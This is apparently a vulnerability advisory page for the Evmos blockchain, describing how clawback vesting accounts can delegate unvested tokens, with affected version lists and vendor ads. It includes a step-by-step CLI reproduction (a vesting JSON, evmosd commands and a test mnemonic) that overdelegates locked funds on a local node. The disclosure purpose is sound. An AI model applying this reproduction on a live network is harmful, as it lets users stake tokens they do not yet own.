Evmos allows unvested token delegations
Published 6 Jun 2024 · Updated 15 Oct 2024
Is your project on an affected github.com/evmos/evmos/v18?
Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- <=18.1.0
- Fixed in
- No fix released
- Affected
- <=17.0.1
- Fixed in
- No fix released
- Affected
- <=16.0.4
- Fixed in
- No fix released
- Affected
- <=15.0.0
- Fixed in
- No fix released
- Affected
- <=14.1.0
- Fixed in
- No fix released
- Affected
- <=13.0.2
- Fixed in
- No fix released
- Affected
- <=12.1.6
- Fixed in
- No fix released
- Affected
- <=11.0.2
- Fixed in
- No fix released
- Affected
- <=10.0.1
- Fixed in
- No fix released
- Affected
- <=9.1.0
- Fixed in
- No fix released
- Affected
- <=8.2.3
- Fixed in
- No fix released
- Affected
- <=7.0.0
- Fixed in
- No fix released
- Affected
- <=6.0.4
- Fixed in
- No fix released
Details
Impact
_What kind of vulnerability is it? Who is impacted?_
At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.
Patches
_Has the problem been patched? What versions should users upgrade to?_
The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.
References
_Are there any links users can visit to find out more?_
See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:
1. Download vesting_setup.json with the following contents:
{
"start_time": 1679602272,
"periods": [
{
"coins": "100000000000000000000aevmos",
"length_seconds": 10
},
{
"coins": "100000000000000000000aevmos",
"length_seconds": 259200000
}
]
}2. Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes # Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd evmosd keys add key1 --recover --home ~/.tmp-evmosd # Enter the following mnemonic skate tell option purity cattle poverty street act bone govern way various evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address # Substitute the operator address from the previous query # Note that this delegates 70% of the user's available stake evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Re-run the same command evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes # Note that the total delegations now exceed the user's vested balance evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
Is GHSA-7hrh-v6wp-53vw in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/evmos/evmos/v18, and gives you the command that fixes it.
More advisories for github.com/evmos/evmos/v18
- HighCVE-2024-39696Evmos vulnerable to exploit of smart contract account and vesting · 10 Jul 2024
- LowCVE-2024-39696Evmos vulnerable to exploit of smart contract account and vesting in github.com/evmos/evmos · 9 Jul 2024
- LowCVE-2024-32873Evmos is missing precompile checks in github.com/evmos/evmos · 28 Jun 2024
- LowCVE-2024-32873Evmos is missing create validator check in github.com/evmos/evmos · 28 Jun 2024
- LowCVE-2024-32873evmos allows transferring unvested tokens after delegations in github.com/evmos/evmos · 14 Jun 2024
- LowCVE-2024-37153Contract balance not updating correctly after interchain transaction in github.com/evmos/evmos · 14 Jun 2024
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.